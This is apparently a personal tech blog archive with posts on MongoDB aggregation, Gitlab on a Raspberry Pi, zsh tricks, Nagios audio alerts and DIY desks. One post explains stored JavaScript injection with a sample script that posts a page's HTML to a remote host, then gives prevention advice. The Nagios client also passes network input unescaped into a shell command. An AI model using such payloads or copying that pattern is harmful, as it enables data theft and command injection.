OHLC data grouping with mongodb

In this post I will demonstrate how to do data grouping with OHLC data using mongodb’s powerful aggregation framework.

The problem:

Group OHLC data every N weeks where N>1, I should point out that doing weekly data grouping (when N==1) is a whole lot easier.

Sample Data:

mongodb_aggregation_data.jsview raw
1
2
3
4
5
6
7
8
9
10
11
/* Data based on http://finance.yahoo.com/q/hp?s=QQQ+Historical+Prices */
> db.ohlc.find()
{ "_id" : ObjectId("54d65597daf0910dfa816995"), "S" : "QQQ", "D" : ISODate("2015-02-06T00:00:00Z"), "O" : 103.92, "H" : 104.17, "L" : 102.76, "C" : 103.13, "V" : 32833800, "A" : 103.13 }
{ "_id" : ObjectId("54d65597daf0910dfa816996"), "S" : "QQQ", "D" : ISODate("2015-02-05T00:00:00Z"), "O" : 103.13, "H" : 103.83, "L" : 102.87, "C" : 103.76, "V" : 23605500, "A" : 103.76 }
{ "_id" : ObjectId("54d65597daf0910dfa816997"), "S" : "QQQ", "D" : ISODate("2015-02-04T00:00:00Z"), "O" : 102.54, "H" : 103.55, "L" : 102.31, "C" : 102.87, "V" : 34073200, "A" : 102.87 }
{ "_id" : ObjectId("54d65597daf0910dfa816998"), "S" : "QQQ", "D" : ISODate("2015-02-03T00:00:00Z"), "O" : 102.33, "H" : 103.03, "L" : 101.68, "C" : 102.96, "V" : 30750400, "A" : 102.96 }
{ "_id" : ObjectId("54d65597daf0910dfa816999"), "S" : "QQQ", "D" : ISODate("2015-02-02T00:00:00Z"), "O" : 101.33, "H" : 102.07, "L" : 99.75, "C" : 101.98, "V" : 43624700, "A" : 101.98 }
{ "_id" : ObjectId("54d65597daf0910dfa81699a"), "S" : "QQQ", "D" : ISODate("2015-01-30T00:00:00Z"), "O" : 101.8, "H" : 102.58, "L" : 100.96, "C" : 101.1, "V" : 42927600, "A" : 101.1 }
{ "_id" : ObjectId("54d65597daf0910dfa81699b"), "S" : "QQQ", "D" : ISODate("2015-01-29T00:00:00Z"), "O" : 100.83, "H" : 102.08, "L" : 99.96, "C" : 101.89, "V" : 46539700, "A" : 101.89 }
{ "_id" : ObjectId("54d65597daf0910dfa81699c"), "S" : "QQQ", "D" : ISODate("2015-01-28T00:00:00Z"), "O" : 103.09, "H" : 103.18, "L" : 100.9, "C" : 100.92, "V" : 43591700, "A" : 100.92 }
/* ... */

The solution:

mongodb_aggregation.jsview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
db.ohlc.aggregate({
$match: {
S: 'QQQ'
}
}, {
$project: {
D: '$D', O: '$O', H: '$H', L: '$H', C: '$C', V: '$V', A: '$A',
weeknbr: {
$divide: [{
$subtract: [
'$D',
new ISODate('1970-01-04')
]
},
86400 * 7000
]
}
}
}, {
$project: {
D: '$D', O: '$O', H: '$H', L: '$H', C: '$C', V: '$V', A: '$A',
rnd_weeknbr: {
$subtract: [
'$weeknbr', {
$mod: [
'$weeknbr',
1
]
}
]
}
}
}, {
$project: {
D: '$D', O: '$O', H: '$H', L: '$H', C: '$C', V: '$V', A: '$A',
grp_weeknbr: {
$subtract: [
'$rnd_weeknbr', {
$mod: [
'$rnd_weeknbr',
4
]
}
]
}
}
}, {
$sort: {
D: 1
}
},

{
$group: {
_id: {
grp_weeknbr: '$grp_weeknbr'
},
D: {
$last: '$D'
},
O: {
$first: '$O'
},
H: {
$max: '$H'
},
L: {
$min: '$L'
},
C: {
$last: '$C'
},
A: {
$last: '$A'
},
V: {
$sum: '$V'
}
}
}, {
$sort: {
D: 1
}
}
)

The explanation:

The idea is to

  1. get the number of weeks (floating point) since a reference date (line #8-17, all OHLC data in the db are later than that date), the reason 1970-01-04 instead of 1970-01-01 (which is Wednesday)
    is chosen is because it lands on Sunday.
  2. get the floored number of weeks for step 2, line #22-31, since mongodb doesn’t have a round or floor method, this is the only way to get number of week since reference date in integer.
  3. sort by D, this step is crucial as the next step will need to use method such as $last and $first to get the close and open price for the grouped period.
  4. group by 4 weeks’ OHLC, line #37-40, number 4 on line #41 can be substituted based on data group unit.
  5. sort by _id, which consists of the calculated grouping number grp_weeknbr from previous step.

The reason why the number of weeks needs to be calculated based off a reference date is because of the partial week problem. See this SO question that I asked before I came up with the solution documented in this post.

Result:

mongodb_aggregation_result.jsview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/* 0 */
{
"result" : [
{
"_id" : {
"grp_weeknbr" : 1520
},
"D" : ISODate("1999-03-19T00:00:00.000Z"),
"O" : 102.25,
"H" : 106.5,
"L" : 102.31,
"C" : 102.44,
"A" : 46.98,
"V" : 50912800
},
{
"_id" : {
"grp_weeknbr" : 1524
},
"D" : ISODate("1999-04-16T00:00:00.000Z"),
"O" : 102.88,
"H" : 112.5,
"L" : 101,
"C" : 103.94,
"A" : 47.67,
"V" : 182968000
},
/* ... */
{
"_id" : {
"grp_weeknbr" : 2344
},
"D" : ISODate("2015-01-02T00:00:00.000Z"),
"O" : 105.11,
"H" : 105.57,
"L" : 102.09,
"C" : 102.94,
"A" : 102.94,
"V" : 695244900
},
{
"_id" : {
"grp_weeknbr" : 2348
},
"D" : ISODate("2015-01-30T00:00:00.000Z"),
"O" : 102.5,
"H" : 104.58,
"L" : 100.95,
"C" : 101.1,
"A" : 101.1,
"V" : 794977000
},
{
"_id" : {
"grp_weeknbr" : 2352
},
"D" : ISODate("2015-02-06T00:00:00.000Z"),
"O" : 101.33,
"H" : 104.17,
"L" : 102.07,
"C" : 103.13,
"A" : 103.13,
"V" : 164887600
}
],
"ok" : 1
}

Note: Last group (2015-02-06) contains only one-week (first week of the group) worth of data.

I just built my first standing desk

So it’s for real

I’ve always wanted to build a standing desk using Ikea parts. Other people have done it with Finnvard height adjustable table legs (http://www.ikea.com/us/en/catalog/products/00144763/) and a table top. My plan was put off because the Long Island Ikdea store discontinued the Finnvard legs for some time. I was lucky to find them in-store again this weekend and Voilà - my dream desk is finally built:


I bought this $40 stool just incase I need to take a short break from standing:
http://www.ikea.com/us/en/catalog/products/50199215/

I also like the fact that I am able to stuff my laser printer onto the shell:

Here’s the recipe

1 x Linnmon table top, http://www.ikea.com/us/en/catalog/products/50251350/, $40

2 x Finnvard table legs http://www.ikea.com/us/en/catalog/products/00144763/, $30 ea

1 x Tertial Work lamp, http://www.ikea.com/us/en/catalog/products/20370383/, $9

Total: $109+Tax

Note

I didn’t do some serious hack to increase the height of the table legs like this guy did http://www.ikeahackers.net/2014/02/convert-the-finnvard-into-a-height-adjustable-standing-desk.html because the legs are able to reach upto 36 5/8, with 1” for the table top, the final result is 37 5/8, which is pretty close to my ideal desk height (the height where elbows can rest on the table top).

Install Gitlab(6.4) on Raspberry PI

I am a big fan of both Raspberry PI and Gitlab so it kinda bugs me when my attempts to install Gitlab onto RPI didn’t succeed because of failure to install therubyracer gem. Others experienced the similar problems I encountered: http://www.raspberrypi.org/phpBB3/viewtopic.php?t=32716&p=397934, by following most of user dpenezic’s instruction I finally made it to install Gitlab (currently at version 6.4) onto my RPI (512MB Ram but only 384MB is available to the system as I allocate the rest to GPU). So here are what I did:

Steps

1) Follow https://github.com/gitlabhq/gitlabhq/blob/6-4-stable/doc/install/installation.md until “Install Gems”

2) Install libv8 (https://github.com/cowboyd/libv8)

# [update: added git-svn to the list on 1/17/2014]
sudo apt-get install -y subversion git-svn
[ -d ~/tmp ] || mkdir ~/tmp
cd ~/tmp
git clone https://github.com/cowboyd/libv8
cd libv8
bundle install
# be patient, the following command takes a while
bundle exec rake clean build binary
sudo gem install pkg/libv8-3.11.8.17-armv6l-linux.gem

3) Modify /home/git/gitlab/Gemfile (and .lock) to skip installation of libv8 (as it’s installed through the above step) and the rubyracer

cd /home/git/gitlab
sudo -u git -H editor Gemfile    # and remove the line: gem "therubyracer"
sudo -u git -H editor Gemfile.lock    # and removed the following lines
    libv8 (3.16.14.3)
    therubyracer (0.12.0)
      libv8 (~> 3.16.14.0)
      ref

4) Install node.js, you can take a look at the script I came up with to compile node.js in RPI: https://github.com/midnightcodr/rpi_node_install

5) Now you can resume the “Install Gems” step in the Gitlab installation guide

sudo -u git -H bundle install --deployment --without development test postgres aws
# and the rest

Notes

1) 384MB is not enough to run “Compile assets” step on the gitlab installation guide so I had to add some more swap memory by following http://www.cyberciti.biz/faq/linux-add-a-swap-file-howto/

sudo dd if=/dev/zero of=/swapfile1 bs=1024 count=524288
sudo mkswap /swapfile1
sudo chmod 0600 /swapfile1
sudo swapon /swapfile1

2) Make sure the server_name setting in /etc/nginx/sites-available/gitlab matches gitlab_url in /home/git/gitlab-shell/config.yml, also add an entry to your RPI’s /etc/hosts

127.0.0.1    gitlab.server.hostname

3) With the current version of Gitlab, performance is not that bad at all - it takes about 2 seconds to switch pages.

A few zsh tricks

Here are a few zsh tricks that I learned (and enjoy using) recently:

The basics - use !! to retrieve last command

1
2
tail /var/log/message
!!

The not so basic - get last parameter of last command with !$

1
2
mkdir new_folder
cd !$ # after this command you will be in folder new_folder

Get all parameters from the last command with !*

1
2
diff src/file1 dest/
cp !*

The pretty awsome - substitution with !!:s/from/to or !!:gs/from/to

1
2
vi src/en/file.txt
!!:s/en/fr
diff src/en/file.txt dest/en/file.txt
!!:gs/en/fr        # g for global substitution

Even better with ^

1
2
3
4
5
vi src/en/file.txt
^en^fr

diff src/en/file.txt dest/en/file.txt
^en^fr^:G

Switching between directories with similar structure (added Dec 7, 2013)

let’s say you are in ~/dev/myproject1/src/lib/, and you want to cd to ~/dev/myproject2/src/lib/, all you need to do is

1
cd myproject1 myproject2

or even

1
cd 1 2

Batch renaming with zmv

1
2
autoload zmv
zmv '(*).txt' '$1.dat' # change *.txt to *.dat

see more zmv examples at http://zshwiki.org/home/builtin/functions/zmv

Use && to simplify js codes

The technique will be illustrated by the following simple js codes:

js-reg-and.jsview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var s='data0', m=/^([a-z]+)(\d+)$/.exec(s);

/* the most common (and obvious) way to
* check if there is match and the 2nd captured group's value is 0
* would be
*/

if(m) {
if( m[2] === '0' ) {
console.log('maybe');
}
}


/* but the above code can be simplified to */

if( m && m[2] === '0') {
console.log('maybe');
}

/* the technique can also be used in switch-case statement */

switch( m && m[2] ) {
case '1':
console.log('never');
break;
case '0':
console.log('maybe');
break;
default:
console.log('run out of options')
}

Javascript injection attack - what is it and how to prevent

Yes we’ve heard of the term “Javascript injection” from time to time but have you ever wonder how it actually works? In this post I will use a very simple example to demostrate how a potential attacker can take advantage of this kind of vulnerability.

Let’s say we build a user forum which only registered user can view its content. One of the basic feature of a forum is to allow user to create new topics or reply to existing topics. In either case we need to create some html form to accept user inputs. We are very aware of MySQL injection so we use prepared statement to store topic content into the database. All is well but we

  • forgot to sanitize the topic body (and/or other related fields such as subject) before storing to database
  • render content from database as is without using proper escaping. So if an attacker enters the following content into the topic body:
1
2
3
4
5
Hello there.
<script type="text/javascript">
var _info=$('body').html();
$.post('http://some.remote.host/',{data:_info});
</script>

When the topic gets rendered in a normal user’s browser, user will see “Hello there” in the topic content. Under the hood the page’s html source code (which might contains some information only the user should have access to) will be sent to a remote host that the attacker has access to without user’s awareness as the js code is not rendered (but it does get executed in user’s browser). If $(‘body’) contains too much info, the attacker can choose to steal information specific element (or elements).

To prevent this kind of attack, we need to either:
Properly escape content from the server when rendering in the browser.
or
Strip tags such as <script>, or only allow tags such as p, br when storing user input into database.

Nagios audio alert with Mac OS X

Background

You have a nagios server running Linux and you have a nice OS at work called Mac OS X which comes with a handy text-to-speech feature. Wouldn’t it be nice if you can turn your workstation into a nagios audio alert system? In this post I’ll show you extactly how you can achieve that.

Requirements

  • node.js installed on the client, along with a module called execSync (installed by command npm install -g execSync)
  • nc (netcat) is installed on the nagios server (most distro comes with it so this shouldn’t be a problem)

Code on the client

nagios-audio-alert.jsview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/* /usr/local/bin/nagios-audio-alert.js */
var dgram = require('dgram')
, server = dgram.createSocket('udp4')
, exec=require('execSync').exec
, server_port=20123;

function ts_log(_msg) {
console.log('[%s] %s', new Date().toString(), _msg);
}

server.on("message", function (msg, rinfo) {
var pmsg=msg.toString().replace(/^\s+|\s+$/, '')
if(pmsg==='X') { return; }
if(pmsg!=='') {
ts_log("server got: " + msg + " from " + rinfo.address + ":" + rinfo.port);
var arr=pmsg.split(/::/);
if(arr.length>2) {
var msg_target=arr[0], msg_state=arr[1], msg_body=arr[2];
if(msg_state==='PROBLEM') {
exec('afplay /System/Library/Sounds/Glass.aiff')
exec('afplay /System/Library/Sounds/Glass.aiff')
if(msg_target==='host') {
exec('say "Attention Please, host '+msg_body+' is having a problem."');
} else if (msg_target==='service') {
exec('say "May I have your attention please, service problem: '+msg_body+ '"');
}
} else {
ts_log('Received a message regarding nagios alert'+msg_body);
}
} else {
ts_log('Not a valid message ('+pmsg+')');
}
} else {
ts_log('Blank or space only message received.');
}
});

server.on("listening", function () {
var address = server.address();
ts_log("server listening " + address.address + ":" + address.port);
});
server.bind(server_port);

Run the code from terminal:

1
node /usr/local/bin/nagios-audio-alert.js

Do some test runs on the client

1
2
echo "service::PROBLEM::service down test"|nc -u -w 1 127.0.0.1 20123
echo "host::PROBLEM::host test123 is down"|nc -u -w 1 127.0.0.1 20123

If everything goes well, ^C to exit the nagios-audio-alert.js program and move on to nagios server.

Modification to nagios server’s config files

  • command.cfg
1
2
3
4
5
6
...
define command{
command_name notify-host-by-tts
command_line /usr/bin/printf "host::$NOTIFICATIONTYPE$::$HOSTNAME$ is $HOSTSTATE$"|nc -u -v -w 1 <replace_with_ip_of_mac_client> 20123
}
...
  • template.cfg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
define contact{
name generic-contact ; The name of this contact template
service_notification_period 24x7 ; service notifications can be sent anytime
host_notification_period 24x7 ; host notifications can be sent anytime
service_notification_options u,c,r,f,s ; send notifications for all service states, flapping events, and scheduled downtime events
host_notification_options d,u,r,f,s ; send notifications for all host states, flapping events, and scheduled downtime events
#service_notification_commands notify-service-by-email ; send service notifications via email
service_notification_commands notify-service-by-tts,notify-service-by-email ; notify thru audio & email
#host_notification_commands notify-host-by-email ; send host notifications via email
host_notification_commands notify-host-by-tts,notify-host-by-email
register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL CONTACT, JUST A TEMPLATE!
}
...
  • Restart nagios server after making the above changes, always test nagios configuration before restarting: /etc/init.d/nagios checkconfig

Run nagios-audio-server.js as a daemon

Rason for this is that we want the Mac to be able to play alerts even when the user is not logged in. Create /System/Library/LaunchDaemons/nagios-audio-alert.plist with the following content, change CHANGE_TO_YOUR_USERNAME_ON_MAC to your mac username

nagios-audio-alert.plist.xmlview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>nagios_alert</string>
<key>UserName</key>
<string>CHANGE_TO_YOUR_USERNAME_ON_MAC</string>
<key>ProgramArguments</key>
<array>
<string>/usr/local/bin/node</string>
<string>/usr/local/bin/nagios.js</string>
</array>
<key>StandardOutPath</key>
<string>/var/log/nagios_alert.log</string>
<key>KeepAlive</key>
<true/>
</dict>
</plist>

then
1
sudo launchctl load -w /System/Library/LaunchDaemons/nagios-audio-alert.plist

Some notes

  • 20123 is the UDP port I grabbed from the air, change to whatever port you like (make sure they are in sync in both the js code and nagios config file command.cfg
  • Reason why execSync is needed is because if you have two (or more) messages come in at the same time (or almost simultaneously), you want the messages to be played one after another
  • If you have filewall on either the client or the nagios server, make sure they allow the traffic for the protocol/port used
  • A mac client is not really a hard requirement to build a nagios audio alert system like this, a Linux box that is capable of doing text-to-audio can handle this kind of task with ease, some code in nagios-audio-alert.js need to be changed though

GA-Z68X-UD3H-B3 F12 Mountain Lion 10.8.3 Installation Notes

Last Friday I had a hard time installing Moutain Lion 10.8.2 onto a GA-Z68X-UD3H-B3 (BIOS version F10), which was running fine with Lion (10.7.3), with either upgrade or clean install method. With some help from http://www.kakewalk.se/forums/discussion/4008/success-ga-z68x-ud3h-10-8-x-mountain-lion/p1 and http://www.tonymacx86.com/ I managed to install ML 10.8.3 onto the system. Here are the steps:

  1. Make a 10.8.3 Unibeast bootable usb drive (doesn’t need to check either options when making the drive with Unibeast)
  2. Upgrade BIOS to F12 (tried UEFI version but got BIOS ID check error hence I settled with F12)
  3. In BIOS setting, make sure HPET is set to 64bit. The system has an Agility 3 120GB SSD so the SATA3 port mode should be set to ACHI
  4. After installation, boot from Unibeast drive again but choose the OS on the SSD
  5. Download DDST (to the desktop), Multibeast from tonymacx86.com, choose the followings (More on the audio later)
  6. After Multibeast and Lnx2Mac’s Realtek driver installations, shutdown, remove Unibeast drive and boot from SSD, network should be working but audio is not working (can see the sound icon, can adjust volume but there’s just no sound coming out)
  7. Download Audio_Network.zip from http://ge.tt/6nuMCAL/v/0?c, unzip but only place AppleHDA.kext onto the desktop
  8. Download KextBeast from tonymacx86.com and run it, it should pick up the AppleHDA.kext on the desktop
  9. Run Multibeast again, select nothing but Drivers & Bootloaders->Drivers->Audio->Realtek ALC8xx->Without DSDT->ALC889 (basically the same option for audio in step 5)
  10. Reboot, audio problem should now be fixed (try different line out port if is sound still missing).
  11. (Optional) If you need to use iMessage, you need to install the newest Chimera (2.0.1 currently) from http://www.tonymacx86.com/downloads.php?do=file&id=164

other notes

Trim doesn’t seem to be turned on when I checked the system info, need to spend some time to look into that.

Cool Audio Reminder Script With MAC OS X's Text-to-speech Feature

Why

We know that sitting for too long is harmful for our health. My solution to this problem is to set up a friendly reminder using Mac OS X’s speech to text feature, and a bit of programming. So here we go:

Steps

1). Create a reminder file under your home directory, for example,

1
$ vi ~/break_reminder

content of ~/break_reminder
1
2
3
4
5
6
7
Stand up and walk around Your_Name.
Don't be lazy Your_Name, I know you can do it.
Stand up now, Your_Name, and do some exercises.
Sitting for too long is not healthy for you Your_Name.
Take a walk, get some water Your_Name.
You need a short break Your_Name.
Don't stick your butt to the chair for too long Your_Name.

Obviously change Your_Name to something that you want the voice to call you. This is one that I created, feel free to change the content.

2). Create the reminder shell script

1
$ vi ~/reminder.sh

1
2
#!/usr/bin/env bash
(( total_lines = $(wc -l < ~/break_reminder) )) && (( line = $RANDOM % $total_lines + 1 )) && sed -n ${line}p ~/break_reminder|say

3). Run some dry tests by running

1
bash ~/reminder.sh

4). Add the reminder to crontab
1
crontab -e

insert the following line:

0 9-16 1-5 bash ~/reminder.sh

This will run the reminder script from 9am to 4pm hourly on the clock Monday through Friday. If you are new to crontab, refer to http://en.wikipedia.org/wiki/Cron for more details.

Notes

  1. I tried putting the meat inside ~/reminder.sh directly into crontab, didn’t work, that’s why this extra script is needed.
  2. Feel free to change the env from bash to zsh in ~/reminder.sh, I have tested it to work with both bash and zsh.
  3. Personally I prefer Serena’s voice, you need to download it via these steps: Search for “Dictation & Speech” in the spotlight -> Tick “Text to Speech” -> Tick “Customize”, then “Serena” from System Voice dropdown, you will be prompted to download the voice file if it has not been downloaded before.
  4. The reminder (break_reminder) and script (reminder.sh) can be found in my github repository: https://github.com/midnightcodr/break_reminder.

Display Stand DIY

Ideas

Inspired by http://lifehacker.com/5872323/diy-ikea-monitor-stand-for-12, I decided to make a monitor stand that can support 2 LCD monitors.

I settled down on the following parts:

Since one board needs 6 legs (I wouldn’t try with 4 legs only) I ended up bying 2 boards and 3 packs of legs (12 legs total) so I can make an extra stand for my work place.

Final material cost (per stand): $25.

The making and the result